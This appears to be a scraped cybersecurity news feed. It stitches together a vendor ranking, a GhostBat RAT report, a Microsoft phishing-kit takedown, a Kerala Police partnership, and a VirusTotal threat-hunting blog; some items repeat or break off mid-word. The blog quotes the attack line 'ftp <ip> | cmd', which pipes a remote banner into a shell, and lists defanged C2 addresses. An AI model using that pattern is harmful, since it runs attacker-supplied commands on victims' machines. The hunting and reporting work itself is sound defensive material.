Breachsense takes an API-first approach to dark web and stealer-log monitoring. Its backend is consistent and well-documented, which appeals to teams that plan to pipe alerts directly into a SIEM or SOAR rather than work in a vendor's dashboard.
5. Lunar (Webz.io)
Lunar is built on Webz.io's web data infrastructure and stands out for generous free access to compromised-credential monitoring. Smaller organizations can get meaningful visibility without a large contract. Its API is less mature than those of the leaders, so heavy integration work may take more effort.
6. SOCRadar
SOCRadar positions itself as an extended threat intelligence provider, and its infostealer data sits alongside external attack surface monitoring and digital risk protection. Machine context is a notable strength. Teams looking for a specialist tool may find the platform's breadth more than they need.
7. Constella Intelligence
Constella approaches infostealers through the lens of identity risk, drawing on a large repository of breach and exposure records. Session tracking and API capabilities are both well regarded, which makes it useful for fraud prevention and account takeover defense.
8. Recorded Future
Recorded Future is one of the best-known names in threat intelligence. Infostealer data is one module among many in its intelligence platform. Machine context and API quality are strong, though session-level detail trails the more focused vendors. Organizations already using Recorded Future for other intelligence may find it convenient to extend coverage here.
9. NordStellar
NordStellar comes from Nord Security, the company behind NordVPN. It has gained ground quickly, with strong session coverage and good machine context. It is a relatively new entrant, so buyers should weigh its fast development pace against a shorter track record.
10. KELA
KELA specializes in cybercrime intelligence gathered from underground forums and marketplaces. Its infostealer coverage benefits from that vantage point, and session tracking is solid. Machine context and API depth are moderate compared with the vendors ranked above it.
What Buyers Should Take Away
No single vendor wins on every measure. Teams that want infostealer intelligence connected to wider threat monitoring will find Cyble, Flare, and SOCRadar worth a close look. Those focused on stopping account takeover should prioritize session capabilities, where SpyCloud, Constella, and NordStellar perform well. Engineering-heavy teams should put API quality near the top of their criteria, which favors Breachsense and Recorded Future.Whatever the shortlist, two capabilities deserve extra weight. The first is session coverage, because cookie theft is now a routine way to defeat MFA. The second is machine context, because knowing exactly which device was compromised determines how quickly a team can contain the damage. A trial run against a known set of exposed accounts remains the most reliable way to see how a vendor performs in practice.(Disclaimer: This article is based on third-party research and publicly available information, credited where applicable. The Cyber Express does not endorse any product or service mentioned. Readers are advised to verify information independently and consult qualified professionals before acting on it.)
A text message about an unpaid traffic challan could cost Android users in India far more than a fine. GhostBat RAT, an Android malware strain first identified by cybersecurity firm Cyble in October 2025, has evolved to capture PINs from 60 banking, UPI apps, wallet and fintech applications, according to new research published by Cyble.
The firm's investigation into fake mParivahan and eChallan apps also exposed a wider operator-controlled ecosystem it tracks as GhostX, linking phishing pages
A text message about an unpaid traffic challan could cost Android users in India far more than a fine. GhostBat RAT, an Android malware strain first identified by cybersecurity firm Cyble in October 2025, has evolved to capture PINs from 60 banking, UPI apps, wallet and fintech applications, according to new research published by Cyble.
The firm's investigation into fake mParivahan and eChallan apps also exposed a wider operator-controlled ecosystem it tracks as GhostX, linking phishing pages, backend control systems and malware distribution.
How GhostBat RAT Reaches Victims
The malware spreads mainly through smishing, or SMS phishing. Victims receive messages with malicious links that lead to pages impersonating the official Parivahan service or a Google Play-style download page. These pages push users to install a fraudulent mParivahan APK. Researchers also found GitHub repositories being repeatedly used to host the malicious files.
Many of these apps are only first-stage loaders. The real payload stays hidden in encrypted files or is downloaded later, which makes the app look harmless during an initial scan.
[caption id="attachment_114830" align="aligncenter" width="600"] GhostBat-RAT-Infection-Chain-1536x595[/caption]
GhostBat RAT's Ghost Overlay Trick
The most significant change in the latest variant is its abuse of Android's Accessibility Service, a technique commonly linked to modern Android banking trojan families. Earlier variants analyzed by Cyble did not have this capability.
Its standout feature, called Ghost Overlay, targets Google Pay and MobiKwik. Instead of showing a fake login screen, the malware places an invisible 12-key grid over the real PIN keypad. When a user taps a digit, the overlay records it and then replays the same tap into the genuine app. The payment goes through normally, so the victim has no visible reason to suspect anything, while the PIN is quietly sent to the attackers' server.
GhostBat RAT Watches 60 Financial Apps
Beyond Google Pay and MobiKwik, a broader keylogging feature monitors 60 financial apps. Cyble's list includes PhonePe, Paytm, BHIM, SBI UPI, Axis Pay, BharatPe, CRED, Freecharge, PayZapp, Groww, Navi, Jupiter, OneCard, JioFinance and Samsung Pay. The malware checks which app is open and the screen context before treating numeric input as a possible PIN.
This builds on older capabilities that remain in play, including reading SMS messages and OTPs, manipulating call forwarding, collecting call logs and sending SMS messages through the victim's SIM card, which could be used to spread further smishing campaigns.
Inside the GhostX Network Behind GhostBat RAT
A key finding came from an exposed Firebase backend named "ghostx-panel." It contained administrator records, user roles, login logs with device fingerprints and bot-user mappings. Cyble says these separate roles point to a multi-operator setup and raise the possibility of a Malware-as-a-Service model.
While monitoring the backend, researchers saw SMS lure text, phishing links, vehicle registration numbers and recipient phone numbers changing repeatedly, indicating an active campaign. Matching eChallan messages were also reported by users on social media.
Why GhostBat RAT Is Hard to Detect
Cyble identified at least six different loader designs. The newest, built around a native library called libnetbridge.so, passes the payload through several layers of encryption, compression and custom packaging before the final app appears. Security tools that scan only the outer APK are unlikely to catch it consistently.
The malware also uses Firebase Remote Config, which lets operators switch command servers and turn features on or off remotely without pushing a new app to victims.
Staying Safe From GhostBat RAT
Cyble advises users to install apps only from official stores such as Google Play and to avoid APK links received by SMS, social media or email. Users should be cautious about granting app permissions, especially Accessibility access, verify website addresses before entering sensitive details, enable multi-factor authentication on financial apps and keep their phones updated. Anyone who suspects infection should contact their bank and local authorities immediately.
A text alert about an undelivered package or an unpaid toll may look like a one-off scam. A new Microsoft cybercrime crackdown shows it is often the visible end of a much larger operation. Microsoft and Health-ISAC, a global non-profit that helps health sector organizations share cyber threat information and improve operational resilience, have moved to dismantle three services, YAM Store, CoGUI and Iron Man, that supplied criminals worldwide with accounts, hosting and tools to build fake websit
A text alert about an undelivered package or an unpaid toll may look like a one-off scam. A new Microsoft cybercrime crackdown shows it is often the visible end of a much larger operation. Microsoft and Health-ISAC, a global non-profit that helps health sector organizations share cyber threat information and improve operational resilience, have moved to dismantle three services, YAM Store, CoGUI and Iron Man, that supplied criminals worldwide with accounts, hosting and tools to build fake websites and online identities.
Since January 2026, the three services have collectively enabled more than one billion malicious messages targeting over 75,000 organizations worldwide.
More than 750 million of those messages were aimed at Microsoft customers alone. Consumers, healthcare organizations, financial institutions and other businesses in more than 150 countries were targeted, generating tens of millions of dollars for the operators.
How the Microsoft Cybercrime Crackdown Began
The investigation started in late 2025 after Japan's National Police Agency (NPA) alerted Microsoft to malicious messaging campaigns targeting people in Japan. The NPA continued providing intelligence and investigative support throughout the probe as partners traced those campaigns back to the businesses supplying criminals around the world.
Investigators expected to find individual campaigns. Instead, they traced the activity to a sprawling Chinese-language marketplace that was difficult for non-native-speaking investigators to penetrate.
The probe widened to include the Japan Cybercrime Control Center (JC3), Resecurity, Cloudflare, Oracle, Proofpoint and TRM Labs. Drawing on its network of more than 130 member organizations, JC3 linked what appeared to be separate incidents into a broader pattern of scams against Japanese companies and financial institutions. Health-ISAC provided insight into the impact on healthcare organizations.
What the Microsoft Cybercrime Crackdown Uncovered
YAM Store operated much like an online shop. Customers could browse products, compare prices and buy fraudulent Microsoft and Google accounts along with ready-made scam tools, including those used for credential theft. Controlled purchases by Microsoft helped confirm how it worked.
In some cases, operators bought internet domains that legitimate organizations had allowed to expire, often in sectors such as non-profits and education, with specialized product offerings for those sectors. They rebuilt the websites to make those organizations appear active, then used them to fraudulently obtain Microsoft 365 accounts for resale.
The infrastructure sold through YAM Store was frequently paired with CoGUI. This service supplied ready-made websites and messages impersonating companies, banks, government agencies and other trusted organizations. Rather than build fraudulent sites themselves, criminals could quickly deploy pages designed to steal passwords, payment details and personal data. CoGUI became one of the most widely used offerings in the ecosystem, particularly targeting victims in Japan and the United States.
[caption id="attachment_114817" align="aligncenter" width="600"] Image Source: https://blogs.microsoft.com/[/caption]
By mid-2026, CoGUI was increasingly being replaced by Iron Man, which offered thousands of phishing templates tailored to specific brands, industries and countries. Criminals could use them to quickly deploy email, text and web content.
Through test purchases and work with Resecurity, investigators identified more than 2,300 templates impersonating banks, retailers, healthcare providers, transportation authorities, police departments and government agencies across more than 150 countries. Others mimicked airlines, telecommunications companies and parcel delivery services. Some were built for government impersonation scams, using the look of official authority to pressure victims into paying or sharing sensitive information.
Microsoft noted that an organization appearing in these templates does not mean its systems were compromised.
Court Order Backs Microsoft Cybercrime Crackdown
Acting on an order from the United States District Court for the Southern District of Florida, Microsoft and Health-ISAC seized and redirected domains that formed part of the infrastructure behind the three services. Microsoft has disabled more than 20,000 accounts linked to YAM Store and is blocking more than 100,000 domains used for impersonation and fraud, while removing infrastructure hosted on its services.
Microsoft also shared intelligence with the U.S. Secret Service and international law enforcement partners. Investigators used AI tools to connect accounts, websites and infrastructure that initially appeared unrelated.
The case reflects a trend highlighted in this year's Microsoft Digital Defense Report: modern fraud increasingly relies on businesses and services that help criminals reach more victims. No single organization saw the full picture of this transnational cybercrime network, and uncovering it required two-way information sharing across industries and borders.
YAM Store, CoGUI and Iron Man are only part of a larger criminal ecosystem. Still, the Microsoft cybercrime crackdown makes it harder for criminals to obtain the accounts, tools and infrastructure that keep scam messages flowing.
Microsoft Threat Intelligence has published a blog with further details on the network and steps customers can take to protect themselves.
Cloudflare telemetry reveals Russian bot traffic swiftly migrated to alternative clouds following drone strikes on Yandex data center infrastructure.
Related Posts:
Exchange Server Instability Tied to October Windows Updates
Anthropic Replaces Git with Proprietary Scion Version Control
Google AI Plus Changes Drop Pro Model Access
The post Russian Bot Traffic Resilient After Data Center Strikes appeared first on Daily CyberSecurity.
A new Kerala Police MoU will bring threat intelligence into cybercrime investigations in the state. Cyble, an AI-native cybersecurity company, has signed a three-year Memorandum of Understanding with Kerala Police that covers intelligence support, investigative assistance and capacity building.
The agreement was signed through Cyble's Indian subsidiary, Cyble Infosec India Private Limited. It will support the Kerala Police Cyber Operations wing and Cyberdome in identifying and investigating e
A new Kerala Police MoU will bring threat intelligence into cybercrime investigations in the state. Cyble, an AI-native cybersecurity company, has signed a three-year Memorandum of Understanding with Kerala Police that covers intelligence support, investigative assistance and capacity building.
The agreement was signed through Cyble's Indian subsidiary, Cyble Infosec India Private Limited. It will support the Kerala Police Cyber Operations wing and Cyberdome in identifying and investigating emerging cyber threats. The announcement was made on October 12, 2026.
Why the Kerala Police MoU Focuses on Threat Intelligence
According to Cyble, cybercriminals increasingly use underground online forums and illicit marketplaces to trade stolen credentials, distribute leaked data, coordinate ransomware operations and facilitate fraud. Identifying these activities before they cause harm requires timely intelligence and effective collaboration between technology providers and law enforcement agencies.
[caption id="attachment_114716" align="aligncenter" width="600"] Image Source: Cyble[/caption]
What MoU Covers
Under the MoU, Cyble will support Kerala Police with intelligence relevant to cybercrime investigations. This includes compromised credentials, ransomware activity, data leaks, phishing and fraud infrastructure, and the impersonation of government and police brands.
The collaboration has three other parts:
No-cost evaluation access to select Cyble platforms.
Joint research into emerging threats such as AI-enabled fraud, deepfakes, mule account networks and investment scams.
Public awareness initiatives will also form part of the collaboration.
“Effective cybercrime investigations require timely intelligence, especially when criminal activity originates across borders and moves through hidden online networks,” said Beenu Arora, Co-Founder and CEO of Cyble. “Kerala Police has taken a proactive approach to cyber policing through Cyberdome. Through this collaboration, we aim to help investigators access relevant threat intelligence, strengthen their investigative capabilities, and better understand emerging threats targeting citizens and institutions.”
Ankit Asokan, IPS, Kerala Police, said: “Cybercrime investigations increasingly require access to timely intelligence on threats that may originate beyond conventional online channels. This collaboration will support Cyberdome and our officers with relevant intelligence, strengthen investigative capabilities, and contribute to efforts to protect citizens from evolving cyber threats.”
Aim of the Kerala Police MoU
The MoU reflects a shared focus on strengthening cybercrime response through collaboration, intelligence sharing and knowledge development. By combining Cyble's threat intelligence capabilities with Kerala Police's investigative expertise, the partnership aims to support more informed investigations and improve awareness of emerging cyber risks.
Cyble describes itself as an AI-native cybersecurity company that helps governments and enterprises identify, prioritize and respond to cyber threats. It is headquartered in Cupertino, California, and serves customers globally, with offices in regions including Australia, Malaysia, Singapore, the Middle East and India.
Until now, an IP report in VirusTotal told you a lot about reputation, who hosts it, what resolves to it (passive DNS) and which files talk to it. It told you nothing about what the machine itself was running.
VirusTotal now scans the public IPv4 space every day and stores, for each IP, the open and closed ports, the service behind each port, its banner and its fingerprints. All of it is searchable. In this post we cover what you will find in the reports and how to use it to hunt and pivot, wi
Until now, an IP report in VirusTotal told you a lot about reputation, who hosts it, what resolves to it (passive DNS) and which files talk to it. It told you nothing about what the machine itself was running.
VirusTotal now scans the public IPv4 space every day and stores, for each IP, the open and closed ports, the service behind each port, its banner and its fingerprints. All of it is searchable. In this post we cover what you will find in the reports and how to use it to hunt and pivot, with real examples worked end to end.
What we store for every port
Each IP now carries a list of port records. Every record has two layers: the lifecycle of the port and the latest analysis of the service running on it.
Field
What it tells you
Status
open, closed or recently closed. Updated daily.
First seen / Open since / Last seen open
When we first saw the port, since when it has been open without interruption, and the last day we saw it open.
Protocol, product and version
The service identified on the port, e.g. ssh / OpenSSH / 9.6p1 Ubuntu 3ubuntu13.19.
CPEs
Standard CPE identifiers for the product, useful to map the service to known vulnerabilities.
Banner
The raw banner returned by the service.
OS and device type
Operating system or device class inferred from the service (Linux, Windows, router, firewall...).
Fingerprints
SSH host key fingerprints and RDP fingerprints.
Protocol details
HTTP status line and response headers, SMTP capabilities, IMAP/POP3 capabilities and similar protocol-specific output.
The "closed" side matters as much as the "open" one. When a port stops answering we don't delete it: we keep the record, flip the status and preserve the last date it was seen open. That is what lets you answer "when did this C2 go dark?" weeks after it happened.
All of this lives in the new Ports tab of the IP report, with a table of every port we know about and a detailed card per port.
Searching the scanning data
Everything above is indexed and can be queried from the search bar or the API with entity:ip plus the new modifiers:
The part we like most is the bracket syntax. On a host with several services, port_service_product:nginx port_service_version:1.24.0 would match even if nginx lives on one port and version 1.24.0 belongs to something else on another. Putting the port in brackets pins every condition to the same service:
The bracket form works for port_banner, port_protocol, port_service_product, port_service_version, port_service_cpe, os_type, device_type and fingerprint. And since these are regular modifiers, you can combine them with everything you already use for IPs: asn, country, ssl_subject, jarm, threat_actor, collection, have and so on.
A word about noise
Our first instinct was to hunt C2 frameworks by their default ports. entity:ip open_port:50050 (Cobalt Strike's default team server port) returned more than 1.5 million IPs. A quick look at the results explains why: many of those hosts answer on every port we probe, including 4444, 5552, 6606 or 8808 at the same time.
An open port on its own is a weak signal. What makes a query useful is what is behind the port: a product, a version, a banner string or a fingerprint.
Pivoting on an SSH host key: a real example
This is where the fingerprints earn their place. An SSH host key is generated when a server is installed. If two IPs present the same key, you are usually looking at the same machine that moved, or at a server cloned from the same image. In both cases, it could be related to the same operator.
We started from 91.219.237[.]110, an IP hosted in Hungary that appears in our APT28 collection and in a community collection about Havoc C2. Its Ports tab shows a small footprint: SSH on 22 and nginx on 80 redirecting to HTTPS.
Searching for that fingerprint gives exactly one other IP:
The second IP has no detections, no collections and no communicating files. On reputation alone, nobody would look at it twice. But the port data says it is a twin of the first: same SSH key, same OpenSSH build, same nginx 1.24.0 on port 80 with the same redirect, and the same JARM. Its HTTPS certificate is issued to the same unusual common name as the first one, b4ck.my.
That certificate gives us a second, independent pivot:
entity:ip ssl_subject:"b4ck.my"
It returns a third IP, 96.9.125[.]59, hosted in Romania. Its Ports tab tells the rest of the story: both 22 and 80 are closed, SSH was last seen open on 2025-11-18 and HTTP on 2025-12-05. Meanwhile, the SSH service on 185.146.232[.]3 was first seen on 2025-11-22. It looks very much like whoever runs this cluster retired one node and stood up the next one within days.
Two honest caveats before anyone blocks anything.
Check the dates behind an attribution. The malware we have communicating with 91.219.237[.]110 was first submitted between 2009 and 2015. IPs get reassigned, and ten years is a long time. What the port data shows is that these three IPs share infrastructure today: the same SSH host key, the same uncommon certificate name and the same service stack, which suggests they are likely managed by the same operator. That is exactly the question a static reputation score can't answer. Whether that operator has anything to do with the old samples, or with APT28, is a separate investigation.
Check how many hits a fingerprint has. A shared key is only meaningful when it is rare. While preparing this post we found SSH keys shared by more than 1,400 IPs on the same cloud providers (VPS templates that ship a baked-in host key) and by more than 1,200 residential IPs on Brazilian ISPs (router firmware with a default key). Two or three hits is a lead. A thousand is a vendor. The same applies to JARM: the JARM of the servers above matches 1.7 million IPs, because it is simply what a default nginx looks like.
A useful habit is to write the final pivot as a single query, pinning each condition to its port. Here is the fingerprint of the cluster above:
From a URL hunt to a host profile: unmasking a NOX Stealer panel on port 8443
Not every investigation starts with an IP. Often you start by hunting suspicious URLs—for instance, operator login panels stood up directly on raw IP addresses and non-standard ports before a domain is ever pointed at them:
entity:url tag:ns-port tag:password-input tag:ip
Here, tag:ip restricts results to URLs hosted on a literal IP address, tag:ns-port filters for non-standard ports, and tag:password-input requires a password field in the rendered DOM.
One of the hits is https://5.175.221[.]206:8443/. On vendor detections alone, it looks harmless (1/96 detections) on the scan made by September 24, 2026. However, the screenshot captured in the URL report tells a very different story:
The page is the operator login panel for NOX Stealer (title:"NOX STEALER - Login"), describing itself in its meta tags as a "Lightweight C++ infostealer with automated worm features".
If we pivot on that page title across URLs (entity:url title:"NOX STEALER"), we find 15 URLs across two sibling domains (grabber[.]cy and lumma[.]cy, the latter linked to dozens of trojan.lumma payloads).
Both domains sit behind Cloudflare, which hides the origin server and blocks infrastructure pivoting.
On 5.175.221[.]206, however, the operator exposed the panel directly on the machine. Clicking from the URL report to the host's Ports tab reveals the complete stack behind that login screen:
Port
Status
What the scanner captured
8443
open
HTTPS (nginx 1.24.0, PHP/8.3.33) serving the NOX Stealer login panel
445
open
SMB on Windows Server 2022 (os_type: 10.0.20348), NetBIOS host WIN-BM6C4ESB87V
3389
open
RDP (Microsoft Terminal Services, Windows Server 2016/2019 fingerprint)
80
recently closed
HTTP (last seen open 2026-09-24, returning 308 Permanent Redirect to HTTPS)
Instead of a generic Linux VPS, the panel is running on a Windows Server 2022 host with SMB and RDP exposed alongside nginx 1.24.0 and PHP on port 8443.
Searching for entity:ip open_port:8443 alone returns 4.5 million IPs, and entity:ip port_service_product[8443]:nginx still returns over 345,000. But by combining the web stack on port 8443 with the Windows build on port 445 using the bracket syntax, we cut those 4.5 million hosts down to just 10 IPs globally:
That is how URL hunting and Internet Scanning complement each other: the URL search surfaces the login form on a non-standard port, the URL screenshot confirms the panel, and the IP's Ports tab gives you the multi-port host signature that Cloudflare was hiding on the domains.
Catching a live rebrand: NOX becomes BOMBAY
While we were putting this blog post together, https://5.175.221[.]206:8443/ was re-analyzed—and we caught the operator rebranding the panel in place from NOX Stealer to BOMBAY Stealer:
A few details from the new scan show why combining browser-based URL analysis with host-level scanning is so effective:
The static HTTP response went dark, but the rendered DOM caught the new title. In the initial scan, the server returned the full 11,408-byte HTML login page directly, indexing title:"NOX STEALER - Login". In the new scan, the raw HTTP response shrank to a 193-byte stub carrying only <meta name="robots" content="noindex">, leaving the static title attribute empty. Full-browser execution, however, rendered the page and captured the new <title> in the DOM: BOMBAY STEALER - Login (with og:title and og:site_name updated to BOMBAY STEALER).
New marketing pitch, same codebase. The updated <meta name="description"> in the rendered DOM now advertises "currently the top #1 infostealer on the market. register an account today and get 1 month access for free. entirely programmed in C. no digital footprints being stored on our servers"—even though the visible subtitle on the login card still reads "Lightweight, C++-native infostealer with automated worm propagation" word for word. Under the hood, the Tailwind CSS theme (#a855f7 / #030308), the panel_jwt session logic, and the MD5-prefixed routes (rotated from /29f69693228c27033209532b5a6a97d1/... to /3a85f1d2131fa2723ac6ade171eafacd/dashboard and /register) are identical.
The host fingerprint didn't blink. By swapping the brand name, rotating the path hash, and hiding behind a 193-byte response, the operator broke static string queries like title:"NOX STEALER". Yet the machine on 5.175.221[.]206 didn't change a single exposed service: nginx 1.24.0 and PHP/8.3.33 on port 8443, Windows Server 2022 (10.0.20348) on port 445, and RDP on port 3389 remain untouched.
In August, the SOCRadar Threat Research Unit published an analysis of threat actors using FTP banners as dead drop resolvers. The trick is simple: a malicious LNK runs ftp <ip> | cmd, the FTP client prints the server's welcome banner, and the pipe hands that banner straight to a shell. The command never lives in the shortcut, it lives in the banner. The two clusters they tracked ended up delivering two new RATs, E4del and PINHOLE.
The banner is exactly what our scanner stores for every port, so the technique can be hunted directly:
entity:ip port_banner[21]:"conhost"
At the time of writing the query returns five IPs. All of them serve the same template on port 21, and only the next-hop IP changes:
A few things stand out once the hits are side by side:
The E4del chain, with dates.157.254.194[.]31 pointing to 167.148.41[.]164 is the exact chain SOCRadar described for E4del. The Ports tab adds the timeline: port 21 was first seen open on 2026-07-11 and last seen open on 2026-08-10. Since 2026-09-28 the same host exposes nginx on port 8000 and a Python SimpleHTTP server on port 8080, so it is worth keeping an eye on.
First and second hop sit next to each other.54.37.237[.]164 hands off to .166 and 51.89.199[.]125 to .118, both on OVH, while 185.14.92[.]162 hands off to .223 on the same ASN. Once you find a first stage, its /24 is a cheap next place to look.
Earlier than reported.45.87.41[.]133 was already serving the banner on 2026-06-30, a few days before the early July start date in the report. Its next hop, 64.111.92[.]89, is on BL Networks (AS399629), the same network as the PINHOLE FTP Stats Panel host reported.
Still live.54.37.237[.]164 was serving the banner as of 2026-10-01. Its next hop has port 21 open, but returned an empty banner to our scanner.
Using it from the API
The IP object now includes a port_info list, so the data comes with the calls you already make. There are also three new endpoints: /api/v3/port_infos/{ip}:{port} for the current state of a port, /api/v3/port_infos/{ip}:{port}/analysis for the full history of analyses of that port (paginated with a cursor), and /api/v3/port_analyses/{ip}:{port}:{timestamp} for a specific analysis.
# Ensure you have sufficient quota to run this. This script is illustrative only.
import os
import requests
BASE = "https://www.virustotal.com/api/v3"
HEADERS = {"x-apikey": os.environ["VT_APIKEY"]}
def ports(ip):
r = requests.get(f"{BASE}/ip_addresses/{ip}", headers=HEADERS, timeout=60)
r.raise_for_status()
for p in r.json()["data"]["attributes"].get("port_info", []):
svc = p.get("latest_analysis", {}).get("port_service", {})
fp = svc.get("ssh", {}).get("host_key_fingerprint", "")
print(p["port"], p["status"], svc.get("product", ""), svc.get("version", ""), fp)
def search(query, limit=40):
r = requests.get(f"{BASE}/intelligence/search", headers=HEADERS,
params={"query": query, "limit": limit}, timeout=120)
r.raise_for_status()
return [d["id"] for d in r.json().get("data", [])]
ports("5.175.221.206")
print(search('entity:ip port_service_product[8443]:nginx port_service_cpe[8443]:php os_type[445]:10.0.20348'))
The status comes back as PORT_INFO_STATUS_OPEN, PORT_INFO_STATUS_CLOSED or PORT_INFO_STATUS_RECENTLY_CLOSED, and dates are Unix timestamps.
What about Livehunt?
Not yet. Livehunt rules for IPs use the vt.net.ip fields of the YARA vt module, and port data isn't exposed there today. Until it is, the practical workaround is to save your best queries and re-run them on a schedule through the API.
Wrapping up
Ports are the part of an IP that the operator can't hide from a scanner. A reputation score tells you what an IP did; the port data tells you what it is and what it looks like now, and it lets you find its siblings before they do anything. Open any IP report, go to the Ports tab, and search for the first fingerprint you see.
Microsoft details NeedyMantis malware, a modular backdoor that uses DLL sideloading to keep long-term access in telecom, academic, and government networks.
Related Posts:
UAT-11587 Targets Asian Governments With Antino Backdoor
PaperCut Zero-Day Attack Hides AdaptixC2 Implant Inside Fake Microsoft Copilot
New MacSync macOS Infostealer Targets Crypto Wallets
The post Microsoft Details NeedyMantis Malware Used for Long-Term Access in Targeted Intrusions appeared first on Daily CyberSecurity.
Microsoft details NeedyMantis malware, a modular backdoor that uses DLL sideloading to keep long-term access in telecom, academic, and government networks.
Zimbra CVE-2026-73570 lets one crafted email run code. Microsoft details the Zimbra command injection attacks: web shells, root access, and key theft.
Related Posts:
PoC Exploit Released for Next.js RCE Flaw CVE-2026-94545
ASUS Security Vulnerabilities Expose Routers and Motherboards
MediaWiki External Data CVE-2026-100382 (CVSS 10) Unauthenticated RCE Exploited in the Wild, PoC Public
The post Microsoft Tracks Zimbra CVE-2026-73570 Attacks That Steal Mail and Auth Keys appeared first on Dail
Star Blizzard RedFlick phishing hit 100+ groups that back Ukraine, using scheduled tasks to drop the CosmicPulse backdoor after a single click.
Related Posts:
Attackers Exploit Citrix NetScaler Zero-Day CVE-2026-88772 to Plant Hidden Web Shells
Nigeria-Based Fraudsters Hijack .edu Accounts to Run University Job Scams
SVG Phishing Attacks Return in August as Symantec Logs 222,000 Detections
The post Russia’s Star Blizzard Scales Up Phishing With RedFlick to Deliver CosmicPulse Backdoor appeare
Compare 8 top red teaming providers for enterprise adversary emulation, from DeepSeas and Mandiant to CrowdStrike, IBM, SpecterOps, TrustedSec and NCC Group.
Compare 8 top red teaming providers for enterprise adversary emulation, from DeepSeas and Mandiant to CrowdStrike, IBM, SpecterOps, TrustedSec and NCC Group.
CVE Alerts turns CVE, KEV, and EPSS data into real-time alerts via email, Slack, Teams, and GitHub Issues. Start your 14-day free trial.
Related Posts:
CVE Watchtower Launches Enterprise Automation Suite Featuring 30-Day Intelligence Dashboards, Predictive EPSS Scoring, REST API, and ITSM Webhooks
Daily CyberSecurity Launches CVE Watchtower: Live Intelligence for a Faster Response
Important Update: Vulnerability Articles Now Exclusive to Supporters
The post Daily CyberSecurity Launches CVE Al